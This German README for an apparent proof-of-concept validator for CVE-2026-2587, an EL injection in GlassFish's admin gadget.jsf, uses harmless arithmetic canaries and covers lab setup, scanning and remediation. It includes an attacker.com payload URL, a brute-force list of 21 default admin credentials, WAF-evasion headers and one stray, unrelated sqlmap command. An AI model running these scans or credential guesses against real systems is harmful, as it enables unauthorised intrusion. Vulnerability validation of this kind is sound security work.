
CVE-2026-2587 PoC-Validierer für Eclipse GlassFish EL Injection RCE im Admin-Konsolen-Handler gadget.jsf. Sicherer authentifizierter Schwachstellenscanner für autorisierte Tests.
Sicherer PoC-Validator für CVE-2026-2587, ein kritisches EL-Injection/RCE-Problem, das die Gadget-Verarbeitung der Verwaltungskonsole von Eclipse GlassFish über /common/gadgets/gadget.jsf betrifft.
Dieses Tool hilft Sicherheitsteams, die GlassFish CVE-2026-2587-Exposition in autorisierten Umgebungen mithilfe eines harmlosen arithmetischen EL-Canary zu validieren.
Zugewiesen von: Eclipse Foundation (CNA) · Veröffentlicht: 19. Mai 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Expression Language Injection Betroffene Versionen:Unbekanntim öffentlichen Advisory vom 21. Mai 2026 Patch-Versionen:Unbekanntim öffentlichen Advisory vom 21. Mai 2026 Scanner-Regel: Version dient nur als Routing-/Meldungskontext; das Urteil erfordert einen Nachweis.
In der Gadget-Verarbeitung der GlassFish-Verwaltungskonsole besteht eine kritische Schwachstelle für Remote-Codeausführung. Die Anwendung verarbeitet .xml-Dateien, die von einer über den Abfrageparameter gadget= bereitgestellten URL abgerufen werden, und wertet benutzergelieferte Werte in <ModulePrefs>-Attributen über die Java Expression Language (EL) Engine ohne Bereinigung oder Escape aus.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Wenn das XML `#{7*7}` in einem `<ModulePrefs title="">`-Attribut enthält, werte GlassFish es serverseitig aus und gibt `49` zurück – was die EL-Ausführung bestätigt. Eine vollständige RCE-Kette folgt über den Zugriff der EL auf die Java-Laufzeit.
Aktuelle öffentliche Sicherheitshinweise veröffentlichen keine betroffene oder gepatchte Versionsgrenze. Dieser Validator ist daher beweisorientiert: Er erfasst die Fingerabdrücke von GlassFish und meldet Versionsmetadaten, klassifiziert ein Ziel jedoch nicht allein anhand einer Versionszeichenfolge als angreifbar.
---
## Funktionsweise

Der sichere Validierungspfad hostet eine harmlose XML-Sonde, sendet eine authentifizierte Admin-Konsolen-Anfrage an `gadget.jsf`, lässt GlassFish das XML von der Callback-URL abrufen und prüft, ob die `<ModulePrefs title="">`-Canary von `#{7*7}` zu `49` evaluiert.
**Injektionspunkt bestätigt vs. nicht bestätigt:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
Der CVSS-Vektor PR:N / UI:R bedeutet:
PR:N — Angreifer benötigt keine eigenen AnmeldeinformationenUI:R — ein eingeloggter Admin muss interagieren (CSRF-Auslieferung)Für die Laborvalidierung überspringen Sie CSRF vollständig – nutzen Sie direkt Ihre eigene Admin-Sitzung.
Anforderungen: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Repo-Inhalt:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Achtung: GHSA listet weiterhin betroffene und gepatchte Versionen als unbekannt.
omnifish/glassfish:7.0.15ist ein starker Lab-Kandidat — keine garantierte anfällige Build. Die Validierungsprimitive bleibt der arithmetische Canary: wenn#{7*7}zu49ausgewertet wird, ist EL aktiv.
docker compose -f docker-compose.lab.yml up
Startet GlassFish 7.0.15 mit an `127.0.0.1` gebundenen Ports und `host.docker.internal` vorverkabelt, sodass der Container Ihren lokalen XML-Server erreichen kann.
### Option B — reiner docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin-Konsole: https://localhost:4848 · Anmeldung: admin / admin
(Selbstsigniertes Zertifikat — Browser-Warnung wird erwartet.)
In einem zweiten Terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Überprüfen Sie die Erreichbarkeit aus der Perspektive des Containers:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Melden Sie sich zuerst in der Admin-Konsole an (Browsersitzung oder --cookie), dann:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Ausgabe | Bedeutung |
|---|---|---|
| `CVE2587_TITLE_49_END` | **Anfällig** — EL wird in `ModulePrefs title` ausgewertet |
| `CVE2587_BODY_49_END` | **Anfällig** — EL wird im CDATA-Body ausgewertet |
| `CVE2587_TITLE_#{7*7}_END` | Nicht anfällig / EL nicht ausgewertet |
| *(no output)* | GlassFish hat das XML nie abgerufen – Erreichbarkeit des Callbacks prüfen |
> Der CDATA-Body bleibt normalerweise auch bei anfälligen Builds roh; ein positives `TITLE`-Ergebnis allein reicht aus, um den Befund zu bestätigen.
---
### Automatisierte Validierung gegen das lokale Labor```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Das Repository wird mit einer fertigen probe.xml ausgeliefert. Sie können jederzeit eine neue generieren – nützlich, wenn Sie ein benutzerdefiniertes Canary-Präfix oder randomisierte Werte wünschen, sodass die Probe pro Engagement eindeutig ist.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
Ausgabe nach dem Schreiben in eine Datei:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
Verwenden Sie, wenn GlassFish lokal oder in Docker auf derselben Maschine ausgeführt wird.
Holen Sie sich Ihre JSESSIONID aus den Browser-DevTools → Anwendung → Cookies, während Sie in der Admin-Konsole angemeldet sind, dann:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` wird aus Docker heraus auf die Host-Maschine aufgelöst.
> Der GlassFish-Container ruft Ihre probe XML über diese Adresse ab.
---
### Anmeldeinformationen```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Wenn die Formularanmeldung fehlschlägt, fällt das Skript durch und versucht dennoch den Endpunkt. Falls auch das fehlschlägt, gibt es Schritt-für-Schritt-Anweisungen aus, um ein Session-Cookie zu erhalten.
Wenn Sie überhaupt keine Anmeldedaten haben, versucht --brute 21 gängige Standard-Anmeldedaten-Paare von GlassFish der Reihe nach und verwendet das erste erfolgreiche.
Schließt sich gegenseitig mit --username und --cookie aus.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
Wenn ein gültiges Paar gefunden wird, wird es in der Ausgabe ausgegeben und in der CSV-Spalte `brute_creds` aufgezeichnet. Wenn alle Paare fehlschlagen, beendet sich der Scan mit `AUTH_REQUIRED`.
Manche GlassFish-Builds geben nach einem gültigen Formular-POST `/login.jsf` zurück. Der Validator behandelt diese URL allein nicht als Fehler; er bestätigt die Sitzung, indem er den Admin-Gadget-Endpunkt abfragt und prüft, dass die Antwort nicht das Login-Formular ist.
Liste der getesteten Anmeldedaten (in Reihenfolge):
| Benutzername | Passwort |
|---|---|
| `admin` | `admin` |
| `admin` | *(leer)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### Remote via Cloudflare Tunnel
Für einen schnellen Tunnel ist kein Konto erforderlich.
**Schritt 1 — cloudflared installieren:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Schritt 2 — Tunnel starten:```bash
cloudflared tunnel --url http://localhost:8000
**Schritt 3 — Validator ausführen:**
Verwenden Sie denselben generierten Hostnamen mit `http://` für die Callback-URL. Dies vermeidet
JVM-Truststore-Fehler in GlassFish-Lab-Containern, die die
Cloudflare-TLS-Zertifikatskette nicht validieren können. Wenn Sie die generierte `https://`
Trycloudflare-URL einfügen, schreibt der Validator diesen Callback auf `http://` um und gibt
eine Warnung aus. Ein abschließender Schrägstrich ist optional; der Validator hängt `/canary.xml` und
die testbezogenen XML-Pfade automatisch an.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Verwenden Sie dies, wenn Sie keinen lokalen Server ausführen können. Die Ziel-GlassFish-JVM muss diese URL direkt abrufen können, daher ist einfaches HTTP auf einem vertrauenswürdigen VPS/Webserver oft zuverlässiger als HTTPS-Hosts, deren Zertifikatskette von der Ziel-JVM nicht vertraut wird.
Das Flag --xml-url umgeht den integrierten Server vollständig.
Generieren Sie ein neues Probe-XML und hosten Sie es dann:
python3 sqli.py --tool $INJECTX --proto http --host $HOST --port $PORT --endpoint / --sql-test --request-method GET --sqli-db $DB --sqli-technique B --sqlmap-risk 3 --sqlmap-level 5 --no-xml-server --xml-url http://your-vps-or-web-server/probe.xml
``````bash
# Step 1 — generate
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
# Step 2 — host it (pick one)
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel
scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
# Step 3 — run (use the --prefix/--left/--right from the generate output)
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
--prefix,--left,--rightmüssen mit den Werten in Ihrer gehosteten XML-Datei übereinstimmen, damit das Skript weiß, nach welchem ausgewerteten Token es in der Antwort suchen soll.
Verwenden Sie ngrok nur als letzte Option für entfernte Ziele. Der kostenlose Tarif kann serverseitige Abrufe blockieren, die nicht von einem Browser stammen, indem er eine zwischengeschaltete HTML-Warnseite zurückgibt. In diesem Fall ruft GlassFish die Warnseite anstelle Ihrer probe.xml ab, und der Validator kann die Antwort als Anmeldeseite oder nicht schlüssiges Ergebnis einstufen. Bevorzugen Sie Cloudflare Tunnel, einen VPS oder einen statischen Webhost, den die Ziel-JVM sauber abrufen kann, es sei denn, Sie haben ein kostenpflichtiges ngrok-Konto, das diese Einschränkung umgeht.
Schritt 1 — ngrok installieren:```bash
brew install ngrok
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main"
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
**Schritt 2 — Machen Sie Ihren lokalen Server zugänglich:**```bash
# Terminal 1
ngrok http 8000
# → Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000
Schritt 3 — Validator ausführen:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://REMOTE_TARGET:4848
--listen 0.0.0.0:8000
--callback-url https://abc123.ngrok-free.app
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> Ersetze `abc123.ngrok-free.app` durch deine tatsächliche ngrok-URL.
> Das Skript startet seinen eigenen XML-Server auf `:8000`; ngrok leitet vom Internet zu ihm weiter.
---
### Nur nicht authentifizierte Überprüfung
Testet, ob der Endpunkt versehentlich ohne Authentifizierung exponiert ist, bevor ein vollständiger authentifizierter Scan durchgeführt wird.
Beendet sofort nach Phase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--check-unauth-only --insecure
Das Repository enthält targets.txt.example als Vorlage. Kopieren und bearbeiten Sie sie:```bash
cp targets.txt.example targets.txt
Format — ein Ziel pro Zeile, Zeilen, die mit `#` beginnen, und leere Zeilen werden ignoriert, zielbezogene Anmeldeinformationen überschreiben die globalen `--username`/`--password`:```
# targets.txt
# format: URL
https://server1:4848
# format: URL username password
https://server2:4848 admin password123
https://server3:4848 ops secret99
# format: URL username:password
https://server4:4848 admin:admin
# commented-out targets are skipped
# https://server5:4848
Gegen alle Ziele ausführen:```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--insecure
--csv results.csv
> Global `--username`/`--password` gilt für Ziele ohne zeilenweise Anmeldedaten.
> Zeilenweise Anmeldedaten haben Vorrang vor globalen.
---
### Paralleles Scannen
Verwenden Sie `--threads`, um mehrere Ziele gleichzeitig zu scannen.
Der integrierte XML-Server wird von allen Threads gemeinsam genutzt.```bash
# Scan 10 targets at once
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 10 \
--insecure \
--csv results.csv --json
Empfohlene Thread-Anzahl:
- Lokales Labor: bis zu
10- Remote-Ziele über Internet:
3–5(Rate-Limits beachten)- Einzelnes Ziel:
1(Standard)
Standardmäßig menschenlesbare Ausgabe. Fügen Sie --verbose hinzu, um Ergebnisse pro Testfall anzuzeigen.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{77} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
Mehrziel-Zusammenfassung:```
════════════════════════════════════════════════════════════════
SCAN SUMMARY — 4 target(s)
════════════════════════════════════════════════════════════════
Vulnerable : 2
Not vulnerable : 1
Auth required : 1
Error / other : 0
════════════════════════════════════════════════════════════════
--csv results.csv
--csv -
CSV-Spalten:
| Spalte | Beschreibung |
|---|---|
| `target` | Ziel-URL |
| `timestamp` | UTC-ISO-8601-Scanzeit |
| `verdict` | `VULNERABLE` / `NOT_VULNERABLE` / `AUTH_REQUIRED` / `VULNERABLE_UNAUTH` / `ERROR` |
| `vulnerable_count` | Anzahl der Testfälle, die die EL-Auswertung bestätigt haben |
| `total_tests` | Gesamtzahl der durchgeführten Testfälle |
| `unauth_exposed` | `YES`, wenn der Endpunkt ohne Authentifizierung antwortete |
| `active_endpoint` | Endpunkt-URL, die für Tests verwendet wurde |
| `server_header` | `Server:`-Header von GlassFish |
| `detected_version` | Versionszeichenfolge, falls identifiziert |
| `version_source` | Quelle des Versionswerts: Header, REST/Login-Seite oder `asadmin-api` |
| `version_affected` | Beratungsversionsstatus. Derzeit `UNKNOWN`, da öffentliche betroffene/gepatchte Bereiche nicht veröffentlicht sind |
| `admin_console` | `present`, `not_found` oder `unknown` |
| `gadget_endpoint` | `present`, `blocked`, `not_found` oder `unknown` |
| `proof` | `evaluated`, `not_evaluated` oder `not_attempted` |
| `TC-01` … `TC-10` | Ergebnis pro Test: `VULNERABLE` / `NOT_VULNERABLE` / `INCONCLUSIVE` / `SKIPPED` |
| `notes` | Fehlermeldung, falls Scan fehlgeschlagen |
**Beispielzeilen:**```csv
target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes
https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,...,
https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,...,
https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
--json
Einzelziel:```json
{
"active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf",
"admin_console": "present",
"detected_version": "Eclipse GlassFish 7.0.15",
"gadget_endpoint": "present",
"proof": "evaluated",
"server_header": "Eclipse GlassFish 7.0.15",
"target": "https://localhost:4848",
"tested_paths": [
"https://localhost:4848/common/gadgets/gadget.jsf",
"https://localhost:4848/admin/common/gadgets/gadget.jsf",
"https://localhost:4848/console/common/gadgets/gadget.jsf",
"https://localhost:4848/glassfish/common/gadgets/gadget.jsf",
"https://localhost:4848/asadmin/common/gadgets/gadget.jsf"
],
"timestamp": "2026-05-21T10:00:00+00:00",
"verdict": "VULNERABLE",
"version_affected": "UNKNOWN",
"version_source": "asadmin-api",
"vulnerable_count": 9,
"total_tests": 10,
"unauth_result": "AUTH_REQUIRED",
"tc_results": [
{"name": "TC-01 Basic multiply", "expr": "#{7*7}",
"expects": "49", "status": "VULNERABLE"},
{"name": "TC-02 Addition", "expr": "#{1337+2587}",
"expects": "3924", "status": "VULNERABLE"}
]
}
Mehrere Ziele geben ein JSON-Array zurück.
Alle Ausgabeformate sind unabhängig — frei kombinieren:```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 5 --insecure --verbose
--csv results.csv
--json > results.json
## Erweiterte Optionen
### Erkennung von Endpunkten und Versionen
Standardmäßig testet der Scanner den gemeinsamen GlassFish-Gadget-Pfad unter den üblichen Admin-GUI-Roots:```text
/common/gadgets/gadget.jsf
/admin/common/gadgets/gadget.jsf
/console/common/gadgets/gadget.jsf
/glassfish/common/gadgets/gadget.jsf
/asadmin/common/gadgets/gadget.jsf
Es lernt auch einen nicht standardmäßigen GUI-Kontext-Pfad aus den Location-Umleitungsheadern und stellt diesen Pfad vor dem Testen voran. Verwenden Sie wiederholbare --path-Werte nur, wenn Sie diese Erkennungsliste überschreiben möchten.
Die Versionserkennung wird aus Antwort-Headern, der Management-REST-API, der Anmeldeseite und nach erfolgreicher Anmeldung aus /__asadmin/version.json oder /__asadmin/version versucht. Versionsdaten verbessern nur das Routing und die Berichterstellung; der Scanner belässt version_affected auf UNKNOWN, bis öffentliche Advisory-Einträge eine Versionsgrenze veröffentlichen.
Passen Sie den Validator an ein handgefertigtes XML an, indem Sie --prefix, --left, --right verwenden. Erforderlich bei Verwendung von --xml-url mit Ihrer eigenen gehosteten Datei.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/custom.xml
--prefix MYTEST --left 13 --right 17
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
---
### Benutzerdefinierte Header
Fügen Sie beliebige Header hinzu — nützlich für WAF-Umgehung, Load-Balancer-Routing oder Tests hinter einem Reverse-Proxy.```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--header "X-Forwarded-For: 127.0.0.1" \
--header "X-Original-URL: /common/gadgets/gadget.jsf" \
--header "X-Custom-Header: value" \
--proxy http://127.0.0.1:8080 \
--insecure
Der Validator führt 10 verschiedene EL-Sonden aus, die jeweils eine andere Fähigkeit bestätigen:
TC-06, TC-07 und TC-08 sind die bedeutendsten — deren Bestehen bedeutet, dass die EL-Engine String-API-Methoden und bedingte Logik ausführt, die direkte Vorstufe zur vollständigen RCE-Kette.
detected_version und version_source sind unterstützender Kontext. Da öffentliche Sicherheitshinweise derzeit betroffene und gepatchte Versionen als unbekannt auflisten, behandeln Sie version_affected=UNKNOWN nicht als negatives Ergebnis. Der einzige positive Befund ist ein ausgewertetes Proof-Token.
Fehlerbehebung bei INCONCLUSIVE:
Kein Python erforderlich:```bash
mkdir probe && cat > probe/probe.xml << 'EOF'
EOFpython3 -m http.server 8000 --directory probe &
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml"
| grep -oE 'PROBE_[^"< ]+_END'
## Behebung
| Aktion | Details |
|---|---|
| **Upgrade** | Wenden Sie den vom Herausgeber veröffentlichten Fix an, wenn Eclipse/NVD/GHSA eine gepatchte Version veröffentlichen |
| **Gadget-Handler deaktivieren** | Blockieren Sie `/common/gadgets/gadget.jsf` an der WAF/Firewall, falls nicht verwendet |
| **Firewall-Administrationskonsole** | Beschränken Sie Port `4848` auf vertrauenswürdige IPs |
| **CSRF-Schutz** | Stellen Sie sicher, dass das `SameSite`-Cookie-Attribut für Admin-Sitzungen gesetzt ist |
| **WAF-Regel** | Blockieren Sie `#{` und `${` in XML-Texten, die den Gadget-Endpunkt erreichen |
---
## Referenzen
| Ressource | Link |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish Source | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Melder | Camilo G. (DeepSecurity Perú) — [@SeguridadBlanca](https://x.com/SeguridadBlanca) |
---
## Haftungsausschluss
Dieses Repository dient nur **autorisierten Sicherheitstests und Forschung**.
- Führen Sie dieses Tool nur auf Systemen aus, die Ihnen gehören oder für die Sie **explizite schriftliche Genehmigung** zum Testen haben
- Der Validator führt nur **harmlose EL-Auswertung** durch — keine Befehlsausführung, kein Reverse Shell, kein Dateiupload, keine Persistenz
- Der Autor übernimmt keine Haftung für Missbrauch
- Verantwortungsvolle Offenlegung wurde befolgt — gemeldet im Dezember 2025 und veröffentlicht im Mai 2026
**Repository-Aufbau:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← validator script
├── probe.xml ← ready-to-host static probe XML (#{7*7} canary)
├── targets.txt.example ← multi-target file template
└── README.md
| Szenario | Authentifizierung erforderlich? |
|---|
Direkter Treffer auf gadget.jsf | Ja — FORM-Authentifizierung, 200 Login-Seite |
| Realer CSRF-Angriff | Nein — nutzt die aktive Admin-Sitzung aus |
| Dieser Validator | Ja — --cookie oder --username/--password |
| Prüfung auf unauthentifizierte Offenlegung | Nein — Skript testet dies automatisch |
| # | Payload | Erwartet | Was es beweist |
|---|
| TC-01 | #{7*7} | 49 | Arithmetischer Basistest |
| TC-02 | #{1337+2587} | 3924 | Additionsoperator |
| TC-03 | #{31337*271} | 8492327 | Kollisionsresistente große Multiplikation |
| TC-04 | #{9999-1337} | 8662 | Subtraktionsoperator |
| TC-05 | #{(6+1)*(6+1)} | 49 | Verschachtelte Klammern / Operatorpriorität |
| TC-06 | #{1==1?'VULN':'SAFE'} | VULN | Bedingte / ternäre Anweisung — Kontrollfluss wird ausgeführt |
| TC-07 | #{'CVE'.concat('2026')} | CVE2026 | Zugriff auf String-Methoden |
| TC-08 | #{'GL'.concat('ASS').concat('FISH')} | GLASSFISH | Verkettete Methodenaufrufe |
| TC-09 | #{17 mod 5} | 2 | EL-Schlüsselwortoperator |
| TC-10 | #{100*100} | 10000 | Zusätzliche arithmetische Bestätigung |
| Status | Bedeutung |
|---|
VULNERABLE | EL-Ausdruck ausgewertet — Instanz als betroffen bestätigt |
VULNERABLE_UNAUTH | Endpunkt ohne Authentifizierung offengelegt — schlimmer als die Basis-CVE |
NOT_VULNERABLE | Ausdruck wörtlich reflektiert — EL nicht ausgewertet |
AUTH_REQUIRED | Endpunkt gab Login-Seite zurück — Cookie oder Anmeldedaten prüfen |
INCONCLUSIVE | Antwort erhalten, aber Canary nicht gefunden — siehe unten |
ERROR | Anfrage fehlgeschlagen — Netzwerk-/TLS-Problem |
| Symptom | Ursache | Behebung |
|---|
XML hits: 0 | GlassFish hat Ihr XML nie abgerufen | --callback-url vom Ziel aus nicht erreichbar |
XML hits: 1+ aber keine Übereinstimmung | EL ausgewertet, aber falsches Feld | Für CDATA-Inhalt erwartet |
| Auth-Umleitung während des Laufs | Sitzung abgelaufen | Holen Sie eine frische JSESSIONID aus dem Browser |
Login-POST leitet zu j_security_check weiter | Falsches Passwort | Verwenden Sie stattdessen --cookie |